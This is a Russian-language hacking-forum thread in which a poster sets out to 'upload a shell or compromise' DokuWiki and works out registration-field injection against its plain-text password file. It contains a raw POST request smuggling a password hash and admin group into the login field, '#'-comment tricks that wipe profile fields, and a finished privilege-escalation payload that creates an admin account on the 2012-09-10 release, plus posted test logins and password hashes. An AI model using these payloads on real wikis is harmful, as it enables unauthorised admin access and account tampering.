[Обзор Уязвимости DokuWiki]

Discussion in 'Уязвимости CMS/форумов' started by RedHazard, 16 Feb 2019.

  1. RedHazard

    RedHazard Member

    Joined:
    17 Apr 2011
    Messages:
    70
    Likes Received:
    14
    Reputations:
    8
    Интересный движок с которым сейчас пытаюсь как то разобраться.
    Если кто то сталкивался подскажите как его приласкать что бы он поддался :)
    Моя задача залить шелл или как то скомпромитировать систему

    вот немного искомой инфы:
    с сайта: https://www.exploit-db.com/
    DokuWiki 2006-03-09b - 'dwpage.php' Remote Code Execution
    DokuWiki 2006-03-09b - 'dwpage.php' System Disclosure
    Dokuwiki 2009-02-14 - Local File Inclusion
    Dokuwiki 2009-12-25 - Multiple Vulnerabilities

    Dokuwiki 2009-02-14 - Temporary/Remote File Inclusion

    и немножко вот тут:
    https://www.cvedetails.com/vulnerability-list/vendor_id-9794/Dokuwiki.html

    Вот одна из фич которые я пытался вкурить, но я видимо что то не то курю что автор этой статьи :)
    https://github.com/splitbrain/dokuwiki/issues/2029
    p.s может есть кто на одной волне с данным парнишей ? :)
     
    #1 RedHazard, 16 Feb 2019
    Last edited: 27 Feb 2019
  2. Тот_самый_Щуп

    Тот_самый_Щуп Reservists Of Antichat

    Joined:
    23 Mar 2017
    Messages:
    265
    Likes Received:
    173
    Reputations:
    119
    Ну вообще, там RCE, при условии, что его включили. (опция теги php)
     
  3. RedHazard

    RedHazard Member

    Joined:
    17 Apr 2011
    Messages:
    70
    Likes Received:
    14
    Reputations:
    8
    в общем еще идея есть
    повышение прав через редактирование своего профиля.

    регистрируем аккаунт.
    переходим в мой профиль.
    ----------------------------
    Логин [tester] Полное имя [вот тут тестить]
    Эл. адрес [мыльцо@муйл.ру]
    ----------------------------

    Пользователи сохраняются в файл: users.auth.php

    PHP:
    # users.auth.php
    <?php exit()?>
    # Don't modify the lines above
    #
    # Userfile
    #
    # Format:
    #
    # login:passwordhash:Real Name:email:groups,comma,seperated


    tzwtf:$1$JikdmqPD$z4eF2afPNoDcehT7xyeGd1:Sanya:[email protected]:admin,user
    hui_r_n:$1$dQ8LHk6m$8IWlBUSZui49eujJSh8dt.:\r\n:[email protected]:user
    hui1_r_n:$1$kTqC7Mpq$s3ttMw/BDJGSRgytHUdvW0:123:[email protected]:user
    tester:$1$iNHra1Rq$CwCdDlmb9J2QSLTtWIOnZ.:fullname:[email protected]:com:user


    PHP:
    /**
     * Обновление профиля (редактирование)
     * Print the update profile form
     * 
     * @author Christopher Smith <[email protected]>
     * @author Andreas Gohr <[email protected]>
     */
    function html_updateprofile(){
        global 
    $lang;
        global 
    $conf;
        global 
    $INPUT;
        global 
    $INFO;
        
    /** @var auth_basic $auth */
        
    global $auth;

        print 
    p_locale_xhtml('updateprofile');

        
    $fullname $INPUT->post->str('fullname'$INFO['userinfo']['name'], true);
        
    $email $INPUT->post->str('email'$INFO['userinfo']['mail'], true);
        print 
    '<div class="centeralign">'.NL;
        
    $form = new Doku_Form(array('id' => 'dw__register'));
        
    $form->startFieldset($lang['profile']);
        
    $form->addHidden('do''profile');
        
    $form->addHidden('save''1');
        
    $form->addElement(form_makeTextField('login'$_SERVER['REMOTE_USER'], $lang['user'], '''block', array('size'=>'50''disabled'=>'disabled')));
        
    $attr = array('size'=>'50');
        if (!
    $auth->canDo('modName')) $attr['disabled'] = 'disabled';
        
    $form->addElement(form_makeTextField('fullname'$fullname$lang['fullname'], '''block'$attr));
        
    $attr = array('size'=>'50');
        if (!
    $auth->canDo('modMail')) $attr['disabled'] = 'disabled';
        
    $form->addElement(form_makeTextField('email'$email$lang['email'], '''block'$attr));
        
    $form->addElement(form_makeTag('br'));
        if (
    $auth->canDo('modPass')) {
            
    $form->addElement(form_makePasswordField('newpass'$lang['newpass'], '''block', array('size'=>'50')));
            
    $form->addElement(form_makePasswordField('passchk'$lang['passchk'], '''block', array('size'=>'50')));
        }
        if (
    $conf['profileconfirm']) {
            
    $form->addElement(form_makeTag('br'));
            
    $form->addElement(form_makePasswordField('oldpass'$lang['oldpass'], '''block', array('size'=>'50')));
        }
        
    $form->addElement(form_makeButton('submit'''$lang['btn_save']));
        
    $form->addElement(form_makeButton('reset'''$lang['btn_reset']));
        
    $form->endFieldset();
        
    html_form('updateprofile'$form);
        print 
    '</div>'.NL;
    }


    идея сделать вот так, только от пользователя:
    [​IMG]
     
  4. RedHazard

    RedHazard Member

    Joined:
    17 Apr 2011
    Messages:
    70
    Likes Received:
    14
    Reputations:
    8
    Потестировать всю это херь можно на моем хосте

    логин: tester
    пароль: 123
     
    #4 RedHazard, 24 Feb 2019
    Last edited: 1 Mar 2019
  5. RedHazard

    RedHazard Member

    Joined:
    17 Apr 2011
    Messages:
    70
    Likes Received:
    14
    Reputations:
    8
    Фильтр символов:
    из
    отфильтровало
     
  6. RedHazard

    RedHazard Member

    Joined:
    17 Apr 2011
    Messages:
    70
    Likes Received:
    14
    Reputations:
    8
    Баг авторизации выход из деректории:
    версия dokuwiki 2012-09-10 "Adora Belle RC1"
    authtype plain

    Регистрация
    Логин:[test../a]
    Полное мия:[[email protected]]
    Эл. адрес:[a@a]

    Результат в файле users.auth.php


    Code:
    # Format:
    #
    # login:passwordhash:Real Name:email:groups,comma,seperated
    
    test:a:$1$9xrqaX5M$EYTB88lDR83zcl9nsxIMk0:[email protected]:a@a:user
    то-есть мы добавили новую строку a
    Поле a@a перенеслось в поле где прописаны админ группы
    так же бага позволяет создавать одинаковых пользователей.
    Уязвимость я не раскручивал дальше, но вполне реально зарегать себе админ юзера.

    Кто хочет потестить вот вам мой сайт
    http://tzwtf.ru/dokuwiki/doku.php?id=start
    login:tester
    pass:123
     
    BenderMR and BillyBons like this.
  7. RedHazard

    RedHazard Member

    Joined:
    17 Apr 2011
    Messages:
    70
    Likes Received:
    14
    Reputations:
    8
    так же было обнаружена фича при редактировании профиля.
    authtype plain
    если в поле [полное имя] в начале строки вписать символ диеза он же хештег #
    Все последующие значения обнуляются полное имя, емейл и группа пользователя
    так же этот символ проходит в поле эмейл и так же работает.

    с помощью таких багов не исключена возможность повысить свои привилегии.
    Если будет результат я опубликую его здесь
     
    BillyBons likes this.
  8. RedHazard

    RedHazard Member

    Joined:
    17 Apr 2011
    Messages:
    70
    Likes Received:
    14
    Reputations:
    8
    Все хочу забайпасить авторизацию на dokuwiki
    И так опять фича с регистрацией!

    POST /dokuwiki/doku.php?id=start&do=register HTTP/1.1
    sectok=94c7d3ba9119dc710b222532a91b2951&do=register&save=1&login=tat;21232f297a57a5a743894a0e4a801fc3;fullname;mail;admin&fullname=test&email=a%40a

    tat = это логин
    fullname - это полное имя.
    mail - почта.
    admin - Это те самые заветные права которые дадут нам доступ к админке.
    21232f297a57a5a743894a0e4a801fc3 = PasswordHash (admin)
    (который понимает декодер dokuwiki , он без спец символов типа $./ , ведь стандартный генератор паролей выдает типа таких хешей: $1$cMLNYuYN$OSIG3OWBI/RA2d.mFfJHr1 , и если прописать это в строку логина фильтр уберет символы )

    и так если в поле логин вписать: tat;21232f297a57a5a743894a0e4a801fc3;fullname;mail;admin
    то в файле паролей мы получим
    следующее:
    tat:21232f297a57a5a743894a0e4a801fc3:fullname:mail:admin:$1$jqx36cSS$vP98kfpUXAQLfXBDn6OSZ/:test:a@a:user

    а должно быть так:
    tzwtf:$1$cMLNYuYN$OSIG3OWBI/RA2d.mFfJHr1:Sanya:[email protected]:admin,user

    Мы видим что права к группам идут через запятую , или с пробелом.
    а в нашем случае двоеточии: .........name:mail:admin:$1$jqx36c.......
    Если в ручную поставить пробел в файле то админка появляется, то-есть задача или поставить запятую или пробел, оба символа в поле логин фильтруются, хотя в поле fullname возможно поставить пробел
     
  9. RedHazard

    RedHazard Member

    Joined:
    17 Apr 2011
    Messages:
    70
    Likes Received:
    14
    Reputations:
    8
    Так же эта фича позволяет создавать пользователей с одинаковыми никами.
    Можно создать пользователя с ником admin, но прав не будет.
    Но если отредактировать профиль , все дубликаты удаляются и остается один , таким методом могут поднасолить админам сообществ.
     
  10. RedHazard

    RedHazard Member

    Joined:
    17 Apr 2011
    Messages:
    70
    Likes Received:
    14
    Reputations:
    8
    1Снимок.PNG

    Code:
    Это результат отправки вот такого запроса на регистрацию!
    2Снимок.PNG

    Code:
    Поля fullmae , email
    пропускают # диезу , а она как мы знаем комментирует все после себя в файле паролей.
    Тем самым стирает значения.
    
     
    crlf and shell_c0de like this.
  11. RedHazard

    RedHazard Member

    Joined:
    17 Apr 2011
    Messages:
    70
    Likes Received:
    14
    Reputations:
    8
    Privilege Escalation
    ------ payload dokuwiki -----
    в поле регистрации вводим:
    login: ggwp/21232f297a57a5a743894a0e4a801fc3/asdasd
    fullname: admin#admin
    mail: aaa@aaa

    после регистрации вводим
    Логин: ggwp
    пароль: admin
    и получаем админ пользователя.
    -----------------------------
    версия: 2012-09-10 "Adora Belle RC1"
    -----------------------------